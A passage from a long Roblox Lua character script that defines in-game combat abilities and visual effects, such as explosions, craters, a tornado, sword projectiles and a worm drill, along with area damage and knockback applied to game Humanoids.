  6822. --elseif v:IsA("BasePart") and (v.Position-pos).magnitude < mag and not v.Anchored and v:GetMass() < 200 and v.Name ~= "Handle" and findclass(v.Parent,"Humanoid") <1 and findclass(v.Parent.Parent,"Humanoid") <1 and v.Parent.Parent.Name ~= "Suit" then if (v.Position-pos).magnitude < mag/2 then v:BreakJoints() v.CFrame=cn(v.Position,pos)*ca(0,rd(180),0) end v.Velocity=cn(pos,v.Position).lookVector*forc
  6823. else q(function() if #v:children() > 0 and not v:IsA("BasePart") and v.className~="Script" and v.className~="Camera" then dive(v) end end) end
  6824. end end -- func and loop end
  6825. dive(workspace) dive(workspace.CurrentCamera) end) end
  6826. for i,v in pairs(c:children()) do if v.Name == su.Name and v ~= su then v:Remove() end end
  6827. function BlastMesh(col2,pos,adjus2,sc) local adjus=adjus2 *cn(0,-0.12*sc,0) local spi=pa(m,"","Block",0,0,0,false,false,1,0,col2) spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=Decs.Crown spim.Scale=v3(sc*1.4,(sc*0.4),sc*1.4) q(function() local fu=spim.Scale local spix=0 for i=1,0.4,-0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(((fu.x*i)/2)+(fu.x/2),fu.y,((fu.z*i)/2)+(fu.z/2)) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end for i=0.4,1,0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(fu.x*i,fu.y,fu.z*i) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end spi:Remove'' end) end
  6828. function GlowMesh(anch,meshid2,rootz,mv3,colzz,adjus,l1,l2,l3) q(function()
  6829. local spi=pa(c,"","Block",1,1,1,false,false,l1,0,colzz) local spim=it("SpecialMesh",spi) if meshid2:lower()=="sphere" then spim.MeshType="Sphere" elseif meshid2:lower()=="block" then spim.MeshType="Brick" else spim.MeshType="FileMesh" spim.MeshId=meshid2 end
  6830. if anch then local spiw=weld(spi,rootz,spi,0,0,0,0,0,0) spiw.C0 =spiw.C0 *adjus else spi.Anchored=true spi.CFrame=adjus end
  6831. for i=l1,l2,l1 do spi.Transparency=i spim.Scale=mv3*(i+0.3) w() end spi:Remove'' end)
  6832. end
  6833. function Explode(onb,scz,colzz,dmge) q(function() local scale=scz*2 local scale2=scale*0.825
  6834. local e1=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e1.Anchored=true e1.CFrame=onb*ca(rd(-90),0,0) local e1m=it("SpecialMesh",e1) e1m.MeshType="FileMesh" e1m.MeshId=Decs.Ring
  6835. local e2=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e2.Anchored=true e2.CFrame=onb*ca(0,0,0) local e2m=it("SpecialMesh",e2) e2m.MeshType="FileMesh" e2m.MeshId=Decs.Ring
  6836. local e3=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e3.Anchored=true e3.CFrame=onb*ca(0,0,0) local e3m=it("SpecialMesh",e3) e3m.MeshType="FileMesh" e3m.MeshId=Decs.Crown
  6837. SplashDmg(false,onb.p,dmge,scale/1.6,125) q(function() for i=0.4,1,0.04 do w() end fade(e1,0.1) fade(e2,0.1) fade(e3,0.1) end) for i=0.3,1,0.035 do
  6838. e3m.Scale=v3((scale2/1.3)*i,(scale2/2)*i,(scale2/1.3)*i) e2m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1.CFrame=onb*ca(rd(-90),rd(360),0) e2.CFrame=onb*ca(0,rd(360),0) e3.CFrame=onb*ca(rd(180),rd(360),0) w()
  6839. end
  6840. end) end
  6841. function splat2(pos,dmge)
  6842. local dbr=it("Model",workspace) local colz2="Bright red" if ts(dmge)=="Block!" then colz2="Bright blue" end
  6843. dbr.Name=ts(dmge) local dbri=pa(dbr,"Head","Block",1,0,1,false,false,0,0,colz2) it("Humanoid",dbr).MaxHealth=0
  6844. dbri.Anchored=true dbri.CFrame=cn(pos + v3(rn(-15,15)/10,3,rn(-15,15)/10)) game:service'Debris':AddItem(dbr,0.5) end
  6845. local DBDH={}
  6846. function Dmgz(blockz,aihu,dmgzz2,pos,fuu) if ft(DBDH,aihu.Parent) or aihu == hu then return end if aihu.Health==0 then return end if aihu.Parent:findFirstChild("ForceField") then return end dmgdeb2=true q(function() if (aihu.Parent:findFirstChild("Block") and aihu.Parent.Block:IsA("BoolValue") and aihu.Parent.Block.Value and not blockz) or pos.Name:lower()=="shield" then splat2(pos.Position,"Bl" .. "ock!") w(0.2) Sound(Sounds.Block,1.4,3) return end
  6847. local dmgzz=dmgzz2 if game:service'Players':findFirstChild(aihu.Parent.Name) and not tk then return end if game:service'Players':findFirstChild(aihu.Parent.Name) == nil then dmgzz=dmgzz*1.75 end ti(DBDH,aihu.Parent) if rn(1,a.cr[1]) == 1 then aihu.Health=aihu.Health-dmgzz*a.cr[2] dmgzz="Crit! " ..ts(dmgzz*a.cr[2]) else q(function() fuu(aihu.Parent) end) aihu.Health=aihu.Health-dmgzz end if not pos then return end splat2(pos.Position,dmgzz) q(function() w(0.08) tr(DBDH,ft(DBDH,aihu.Parent)) end)
  6848. end) end
  6849. function rayHit(wai,Cobalt1164k,wepCobalt1164,adjus,magz,tim) local DebounceTable2={} q(function()
  6850. local hitx=0 local tymzup=false q(function() w(wai) tymzup=true end)
  6851. repeat w() local tries=0 local bhit,bpos=nil,v3(999,999,999)
  6852. repeat tries=tries + 1 local xx=0 local yy=0 if tries==1 then xx=1 elseif tries==2 then xx=-1 elseif tries == 3 then yy=1 elseif tries == 4 then yy=-1 elseif tries == 5 then xx=-1 yy=-1 elseif tries == 6 then xx,yy=1,1 elseif tries == 7 then xx,yy=-1,1 elseif tries == 8 then xx,yy=1,-1 end
  6853. bhit,bpos=ray((wepCobalt1164.CFrame *adjus *cn(xx,yy,-0.8)).p,wepCobalt1164.Position - (wepCobalt1164.CFrame *adjus *cn(0,0,2)).p)
  6854. if bhit ~= nil and (bpos - wepCobalt1164.Position).magnitude < magz+0.8 then break end until tries > 8
  6855. if bhit==nil or (bpos - wepCobalt1164.Position).magnitude > magz+0.8 then else local brea=false
  6856. for i,v in pairs(bhit.Parent:children()) do local dmge=rn(d[1],d[2])*tim
  6857. if v:IsA("Humanoid") and not DebounceTable2[v.Parent.Name] then DebounceTable2[v.Parent.Name]=true Dmgz(false,v,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 brea=true break end end
  6858. if bhit.Parent ~= workspace and not brea then for i,v in pairs(bhit.Parent.Parent:children()) do local dmge=rn(d[1],d[2])*tim
  6859. if v.Parent:findFirstChild("Humanoid") and not DebounceTable2[v.Parent.Parent.Name] then DebounceTable2[v.Parent.Parent.Name]=true Dmgz(false,v.Parent.Humanoid,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 break end end
  6860. end
  6861. end until hitx >= Cobalt1164k or tymzup end) end
  6862. function GetRegion(p0,p1,f,f2) q(function()
  6863. for i,v in pairs(workspace:FindPartsInRegion3(Region3.new(p0,p1),c,100) ) do if v.Parent:findFirstChild("Humanoid") and v.Parent.Humanoid.Health > 0 and v.Parent:findFirstChild("Torso") then q(function() f(v.Parent) end) elseif f2 and v.Parent.Parent:findFirstChild("Humanoid") == nil then f2(v) end end
  6864. end) end
  6865. function FindGround(pos) local ax,ay,az = pos:toEulerAnglesXYZ()
  6866. local bhit,bpos=ray(pos.p,pos.p - (pos.p + v3(0,200,0)))
  6867. if bhit and bpos then return cn(bpos)*ca(ax,ay,az) end return nil end
  6868. function MakeCrater(pos,sc,tyms,debz) q(function() if not debz then debz = 5 end
  6869. local bhit,bpos=ray(pos,pos - (pos + v3(0,200,0)))
  6870. if bhit and bpos then
  6871. for i=1,tyms do q(function()
  6872. local gr = pa(su,"","Block",rn(5,13)/10*sc,0.25*sc,rn(4,10)/10*sc,true,true,bhit.Transparency,bhit.Reflectance,bhit.BrickColor.Name) gr.Material = bhit.Material gr.TopSurface = bhit.TopSurface
  6873. gr.CFrame = cn(bpos+v3(rn(-12,12)/10*sc,0,rn(-12,12)/10*sc))*ca(rd(rn(-40,40)),rd(rn(-360,360)),rd(rn(-40,40))) wait(debz) fade(gr,0.1)
  6874. end) end
  6875. end
  6876. end)
  6877. end
  6878. function ForceBrick(v,rootpos,force) q(function() if v:GetMass() > 100 or v.Anchored or getclass(v,"Weld") then return end
  6879. v:BreakJoints() v.Velocity = cn(rootpos,v.Position).lookVector*force
  6880. end) end
  6881. function FireObj(v,tcf2,adj,spi,tym,rang,fu,glo) q(function() -- obj,cf,adj,spid,tyms,rang,func,glo
  6882. local tcf = tcf2 for i=1,tym do
  6883. bhit,bpos=ray(tcf.p,tcf.p - (tcf *cn(0,0,-1)).p)
  6884. if bhit and (bpos - tcf.p).magnitude < rang then break end
  6885. tcf=tcf*cn(0,0,spi) v.CFrame=tcf*adj
  6886. wait() end
  6887. if glo then GlowMesh(false,"Sphere",t,v3(glo,glo,glo),'Navy blue',cn(bpos),0.1,1,0.08) end
  6888. if fu and bhit then fu(bhit) else wait(rn(0,20)/10) fade(v,0.1) end
  6889. end) end
  6890. function ProjHit1(v,hit,mul2) local mul = mul2 q(function() if not mul2 then mul = 1 end if not hit.Anchored then
  6891. if hit.Parent:findFirstChild("Humanoid") and hit.Parent:findFirstChild("Torso") then Dmgz(false,hit.Parent.Humanoid,rn(d[1],d[2])*mul,hit.Parent.Torso) end
  6892. v.Anchored = false stick(hit,v)
  6893. wait(1) end wait(rn(10,25)/10) fade(v,0.1) end) end
  6894. --Dio's functions
  6895. function SpawnSword(pos,sc,dmg,col) if pos == nil then return end q(function() MakeCrater(pos.p+v3(0,2,0),3,3,3)
  6896. GlowMesh(false,"Sphere",t,v3(7*sc,1.5*sc,7*sc),col,pos,0.1,1,0.05)
  6897. local pro = pa(su,"","Block",2*sc,2*sc,7*sc,true,true,0.3,0,"") local prom = qi({"SpecialMesh",pro,Scale=v3(3*sc,2*sc,4*sc),VertexColor=v3(0,0,1),MeshType="FileMesh",MeshId=Decs.RedCliff,TextureId=Decs.RedCliffT})
  6898. pro.CFrame = pos*ca(rd(-25),0,0)*cn(0,-3*sc,0) local cff = pro.CFrame for i=0.1,1,0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end
  6899. local rr = sc*1.5 GetRegion(pro.Position-v3(rr,rr,rr),pro.Position+v3(rr,rr,rr),function(v) v.Humanoid.PlatformStand = true local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(pro.Position,v.Torso.Position+v3(0,20,0)).lookVector*40}) Dmgz(false,v.Humanoid,rn(d[1],d[2]),v.Torso) wait(0.15) bpp:Remove() v.Humanoid.PlatformStand = false end) wait(1) for i=1,0,-0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end pro:Remove() end)
  6900. end local bped = {}
  6901. function SpikeSucker(pos,sc)
  6902. local bal = pa(c,"","Ball",4*sc,4*sc,4*sc,false,true,0.16,0,"White") bal.CFrame = pos
  6903. local spi = pa(c,"","Ball",0,0,0,false,true,0.16,0,"White") spi.CFrame = bal.CFrame local spm = qi({"SpecialMesh",spi,MeshType="FileMesh",MeshId=Decs.SpikeBall})
  6904. local dia = pa(bal,"","Block",0,0,0,false,true,0.3,0,"White") qi({"SpecialMesh",dia,Scale=v3(1*sc,2*sc,1*sc),MeshType="FileMesh",MeshId=Decs.Diamond})
  6905. local dia2 = dia:Clone() dia2.Parent = bal local dia3 = dia:Clone() dia3.Parent = bal local tms = 0 local rr=10*sc for x=1,4 do
  6906. for i=0,1,0.1 do tms = tms + 1
  6907. spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0)
  6908. if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end
  6909. wait()
  6910. end
  6911. for i=1,0,-0.1 do tms = tms + 1
  6912. spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0)
  6913. if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end
  6914. wait()
  6915. end
  6916. for i,v in pairs(bped) do q(function() for i,vv in pairs(v.Torso:children()) do if vv.Name == "SBP" then vv:Remove() end end end) end
  6917. end
  6918. q(function() fade(dia,0.2) fade(dia2,0.2) fade(dia3,0.2) for i=0.1,1,0.1 do spi.Transparency = i spm.Scale = spm.Scale*1.1 bal.Transparency = i bal.Size = bal.Size*1.1 bal.CFrame = pos wait() end spi:Remove() bal:Remove() end)
  6919. end
  6920. function Blackspace(pos,tms,dmg)
  6921. local bal = pa(c,"","Ball",52,52,52,false,true,1,0,"Really black") bal.CFrame = pos
  6922. for i=1,0.5,-0.1 do bal.Transparency =i wait() end
  6923. for i=1,tms do local o = 25
  6924. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(25,0,0).p,4,2.5,"Institutional white",0.3,0)
  6925. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(-25,0,0).p,4,2.5,"Institutional white",0.3,0)
  6926. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,25,0).p,4,2.5,"Institutional white",0.3,0)
  6927. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,-25,0).p,4,2.5,"Institutional white",0.3,0)
  6928. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,25).p,4,2.5,"Institutional white",0.3,0)
  6929. Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,-25).p,4,2.5,"Institutional white",0.3,0)
  6930. local rr = 25 if i%4==0 then GetRegion(pos.p-v3(rr,rr,rr),pos.p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(3,5),v.Torso) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bal.Position,v.Torso.Position).lookVector*10}) wait(0.1) bpp:Remove() end) end
  6931. wait(0.05)
  6932. end
  6933. for i=0.5,1,0.1 do bal.Transparency =i wait() end bal:Remove()
  6934. end
  6935. function MatterBall(pos,sc,spid,tyms,dmgmul) q(function()
  6936. local cor = db1:Clone() cor.Mesh.Scale=v3(sc,sc,sc)*5 local cor2 = db2:Clone() cor2.Mesh.Scale = cor.Mesh.Scale*1.55 qi({"Fire",cor,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color,Size=sc*3.5,Heat=0})
  6937. cor.Transparency = 0.05 cor.Anchored = true cor2.Anchored = true cor2.Transparency = 0.4 cor.Parent = su cor2.Parent = cor cor.CFrame = pos
  6938. local corms = cor.Mesh.Scale local cor2ms = cor2.Mesh.Scale for i=1,tyms do local Cobalt1164vt = {-2*sc,2*sc}
  6939. local Cobalt1164v3 = v3(0,0,0) local Cobalt1164rn = rn(1,3) if Cobalt1164rn == 1 then Cobalt1164v3=v3(Cobalt1164vt[rn(1,2)],0,0) elseif Cobalt1164rn == 2 then Cobalt1164v3=v3(0,Cobalt1164vt[rn(1,2)],0) elseif Cobalt1164rn == 3 then Cobalt1164v3=v3(0,0,Cobalt1164vt[rn(1,2)]) end cor.Mesh.Scale=corms+Cobalt1164v3 cor2.Mesh.Scale=cor2ms+Cobalt1164v3
  6940. cor.CFrame = pos*cn(0,0,-spid*i)
  6941. local bhit,bpos=ray(cor.Position,cor.Position - (cor.CFrame *cn(0,0,1)).p)
  6942. if bhit and (bpos - cor.Position).magnitude < (spid*1.1) then break end
  6943. cor.CFrame=cor.CFrame*ca(rd(rn(-360,360)),rd(rn(-360,360)),rd(rn(-360,360))) cor2.CFrame = cor.CFrame
  6944. local Cobalt1164pos = FindGround(cor.CFrame) if Cobalt1164pos and i%rn(2,3)==0 then GlowMesh(false,Decs.Crown,t,v3(2.6*sc,0.8*sc,2.6*sc),'Navy blue',cn(Cobalt1164pos.p+v3(0,0.15*sc,0)),0.1,1,0.05) end
  6945. wait() end cor.Fire:Remove()
  6946. q(function()
  6947. local n1 = pa(su,"","Block",0,0,0,true,true,0.3,0,"White") qi({"SpecialMesh",n1,Scale=v3(3.5,3.5,8),MeshType="FileMesh",MeshId=Decs.Chakram})
  6948. local n2 = n1:Clone() n2.Parent = su n1.CFrame = cor.CFrame*ca(0,rd(-45),0) n2.CFrame = cor.CFrame*ca(0,rd(45),0)
  6949. for i=1,8 do n1.Mesh.Scale = n1.Mesh.Scale+v3(0.3*sc,0.3*sc,0.35*sc) n2.Mesh.Scale = n1.Mesh.Scale cor.Transparency = cor.Transparency + 0.12 n1.Transparency = cor.Transparency n2.Transparency = n1.Transparency cor2.Transparency = cor2.Transparency + 0.1 cor.Mesh.Scale = cor.Mesh.Scale+v3(2.3*sc,2.3*sc,2.3*sc) cor2.Mesh.Scale = cor.Mesh.Scale*1.55 wait() end n1:Remove() n2:Remove() cor:Remove() cor2:Remove() end)
  6950. local rr = sc GetRegion(cor.Position-v3(rr,rr,rr),cor.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(cor.Position,v.Torso.Position+v3(0,2,0)).lookVector*60}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*dmgmul,v.Torso) wait(0.12) bpp:Remove() end)
  6951. end) end
  6952. function FistBoom(pos,sc,dmg,TYMZEH) q(function()
  6953. local rip = pa(su,"","Block",1,1,1,false,true,0.2,0,"White") local ripm = qi({"SpecialMesh",rip,MeshType="Sphere"})
  6954. rip.CFrame = pos*cn(-4*sc/2,4*sc/2,0)*ca(0,0,rd(45))
  6955. for i=1,3.5,0.5 do rip.Size=v3(1,i*2,1) rip.CFrame = pos*cn((-4+i)*sc,(4-i)*sc,0)*ca(0,0,rd(45)) wait() end
  6956. for i=1,3.5,0.25 do rip.Size=v3(i*2,7,1) rip.CFrame = pos*ca(0,0,rd(45)) wait() end
  6957. local fis = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") local fism = qi({"SpecialMesh",fis,Scale=v3(8*sc,8*sc,8*sc),MeshType="FileMesh",MeshId=Decs.Fist})
  6958. for i=0.5,5.5,1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end
  6959. fism.Scale = fism.Scale+v3(1*sc,1*sc,1*sc) fis.CFrame = pos*cn(0,5*sc,-5*sc)*ca(rd(45),0,0)*ca(rd(-90),rd(-90),0) rip.CFrame=pos*ca(rd(45),0,0) qi({"Fire",fis,Heat=-25,Size=15,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color})
  6960. local arm = pa(su,"","Block",1,1,1,false,true,0.2,0,"White") local armm = it('CylinderMesh',arm)
  6961. arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc)
  6962. for i=1,7 do fis.CFrame=fis.CFrame*cn(0,TYMZEH/7,0)
  6963. arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc)
  6964. wait() end local armag = (rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1
  6965. for x=45,0,-5 do
  6966. rip.CFrame = pos*ca(rd(x+180),0,0) fis.CFrame=rip.CFrame*cn(0,0,(armag-1)+(5.5*sc))*ca(rd(90),rd(-90),0)
  6967. arm.CFrame = rip.CFrame*cn(0,0,((armag-1)/2)+0.5)*ca(rd(90),0,0)
  6968. wait()
  6969. end
  6970. q(function() local cfz = {rip.CFrame,arm.CFrame,fis.CFrame} for i=1,15 do local Cobalt1164v3=v3(rn(-1*sc,1*sc),rn(-1*sc,1*sc),rn(-1*sc,1*sc)) rip.CFrame=cfz[1]+Cobalt1164v3 fis.CFrame=cfz[3]+Cobalt1164v3 arm.CFrame=cfz[2]+Cobalt1164v3 wait() end
  6971. for i=armag,0,-armag/15 do armm.Scale =v3(4,i,4) fis.CFrame=rip.CFrame*cn(0,0,(i)+(5.5*sc))*ca(rd(90),rd(-90),0) arm.CFrame = rip.CFrame*cn(0,0,((i-1)/2)+0.5)*ca(rd(90),0,0) wait() end arm:Remove()
  6972. for i=5.5,0.5,-1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end fis:Remove()
  6973. for i=0.2,1,0.1 do ripm.Scale = ripm.Scale+v3(0.2*sc,0.2*sc,0.2*sc) rip.Transparency = i wait() end rip:Remove() end)
  6974. local rr = 6.5*sc GetRegion(fis.Position-v3(rr,rr,rr),fis.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(fis.Position-v3(0,1*sc,0),v.Torso.Position+v3(0,2,0)).lookVector*75}) Dmgz(false,v.Humanoid,rn(d[1]*2,d[2]*2.5),v.Torso) wait(0.15) bpp:Remove() end,function(v) ForceBrick(v,fis.Position,100) end)
  6975. MakeCrater(fis.Position+v3(0,2,0),5,7,10)
  6976. end) end
  6977. WormDrill = function(target,sca) q(function() local spiran = rn(-360,360) local slope = {}
  6978. for i=90,-270,-10 do table.insert(slope,cn(target.p)*ca(0,rd(spiran),0)*cn(0,0,30*sca)*ca(rd(i),0,0)*cn(0,0,30*sca)) end
  6979. local mm = it('Model',su) local tr = 0.15
  6980. local worm0 = pa(mm,"","Block",0,60,0,true,true,tr,0,"White") qi({"SpecialMesh",worm0,Scale=v3(9*sca,12*sca,9*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=12137531"})
  6981. local worm1 = pa(mm,"","Block",10*sca,6*sca,10*sca,true,true,tr,0,"White") it('CylinderMesh',worm1)
  6982. local worm2 = pa(mm,"","Block",9.5*sca,6*sca,9.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm2)
  6983. local worm3 = pa(mm,"","Block",9*sca,6*sca,9*sca,true,true,tr,0,"White") it('CylinderMesh',worm3)
  6984. local worm4 = pa(mm,"","Block",8.5*sca,6*sca,8.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm4)
  6985. local worm5 = pa(mm,"","Block",8*sca,6*sca,8*sca,true,true,tr,0,"White") it('CylinderMesh',worm5)
  6986. local worm6 = pa(mm,"","Block",7.2*sca,6*sca,7.2*sca,true,true,tr,0,"White") qi({"SpecialMesh",worm6,Scale=v3(4*sca,18.5*sca,4*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=1033714"})
  6987. for i=1,#slope-6 do if i+6 == 10 then MakeCrater(slope[i+6].p+v3(0,10,0),13,9,20) end if i+5 == 27 then local rr = 8*sca GetRegion(slope[i+5].p-v3(rr,rr,rr),slope[i+5].p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(slope[i+5].p,v.Torso.Position+v3(0,2,0)).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*3.5,v.Torso) wait(0.2) bpp:Remove() end,function(v) ForceBrick(v,slope[i+5].p,150) end) MakeCrater(slope[i+5].p+v3(0,10,0),13,9,20) end
  6988. worm0.CFrame = slope[i+6]*ca(rd(160),0,0)*ca(0,rd(0),0)*cn(0,5*sca,0) worm1.CFrame = slope[i+5] worm2.CFrame = slope[i+4] worm3.CFrame = slope[i+3] worm4.CFrame = slope[i+2] worm5.CFrame = slope[i+1] worm6.CFrame = slope[i]*ca(rd(180),0,0)*cn(0,4*sca,0) wait(0.04) end
  6989. worm0:Remove() worm1:Remove() worm2:Remove() worm3:Remove() worm4:Remove() worm5:Remove() worm6:Remove()
  6990. end) end
  6991. SpawnTornado = function(pos,sc,ski,tyms) q(function()
  6992. local tor = pa(su,"","Block",0,0,0,true,true,1,0,"White") qi({"SpecialMesh",tor,Scale=v3(6.4*sc,8*sc,6.5*sc),MeshType="FileMesh",MeshId=Decs.Tornado})
  6993. tor.CFrame = pos q(function() for i=1,0.2,-0.1 do tor.Transparency = i wait() end end)
  6994. local zz = 0 local tpos = tor.Position
  6995. q(function() while tor.Parent do zz = zz+1
  6996. tor.CFrame = pos*cn(0,0,-zz/2.6)*ca(0,rd(zz*5),0)*cn(0,0,zz*ski/30)*ca(0,rd(zz*25),0) wait()
  6997. local rr = 7*sc GetRegion(tor.Position-v3(rr,rr,rr),tor.Position+v3(rr,rr,rr),function(v) if v.Torso:findFirstChild("SRP") == nil then local bp = qi({"BodyPosition",v.Torso,Name="SRP",maxForce=v3(1/0,1/0,1/0),position=tor.CFrame*cn(0,0,-11*sc).p}) while tor.Parent do v.Humanoid.PlatformStand=true bp.position=tor.CFrame*cn(0,0,8*sc).p
  6998. if rn(1,6) == 2 then v.Humanoid.Sit = true Dmgz(false,v.Humanoid,rn(1,2),v.Torso) end
  6999. wait() end bp:Remove() local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(v.Torso.Position,to.Position+v3(0,30,0)).lookVector*135}) wait(0.4) bpp:Remove() wait(2.5) v.Humanoid.PlatformStand = false else end end)
  7000. end end)
  7001. wait(tyms) tpos = tor.Position local torm = tor.Mesh.Scale tor:Remove() GlowMesh(false,Decs.Tornado,t,torm*3,'Navy blue',cn(tpos),0.2,1,0.05)
  7002. end) end
  7003. function CrownSwords(pos) q(function()
  7004. local hol = pa(su,"","Block",1,1,1,false,true,0.1,0,"White") qi({"SpecialMesh",hol,MeshType="Sphere"})
  7005. hol.CFrame = pos for i=1,6 do hol.Size=v3(1,1,i*5) hol.CFrame=pos*cn(0,0,(5*i)/2) wait() end
  7006. for i=1,6 do hol.Size=v3(i*5,1,30) hol.CFrame=pos*cn(0,0,15) wait() end
  7007. local swr = {} for i=1,14 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr,swor) end
  7008. local swr2 ={} for i=1,8 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr2,swor) end
  7009. local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(10,14,7.5),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)})
  7010. q(function() for i=1,20 do
  7011. swor.CFrame=hol.CFrame*cn(0,(i*3.5)-5.5,0)*ca(rd(90),0,0)
  7012. wait() end end)
  7013. for i2,v in pairs(swr) do q(function() for i=1,20 do
  7014. v.CFrame=hol.CFrame*ca(0,rd(((360/14)*i2)+i*6),0)*cn(0,(i*0.32)-5.5,10)*ca(rd(-90+(91/20*i)),0,0)
  7015. wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end
  7016. for i2,v in pairs(swr2) do q(function() for i=1,20 do
  7017. v.CFrame=hol.CFrame*ca(0,rd(((360/8)*i2)+i*-8),0)*cn(0,(i*1)-5.5,6)*ca(rd(-90+(135/20*i)),0,0)
  7018. wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end for i=1,20 do wait() end local holp = hol.CFrame fade(hol,0.1)
  7019. for i=20*3.5,0,-20*3.5/12 do
  7020. swor.CFrame = hol.CFrame*cn(0,i-1,0)*ca(rd(90),0,0) GlowMesh(false,Decs.Crown,t,v3(5,10,5),'Navy blue',swor.CFrame*ca(rd(-90),0,0),0.1,1,0.1)
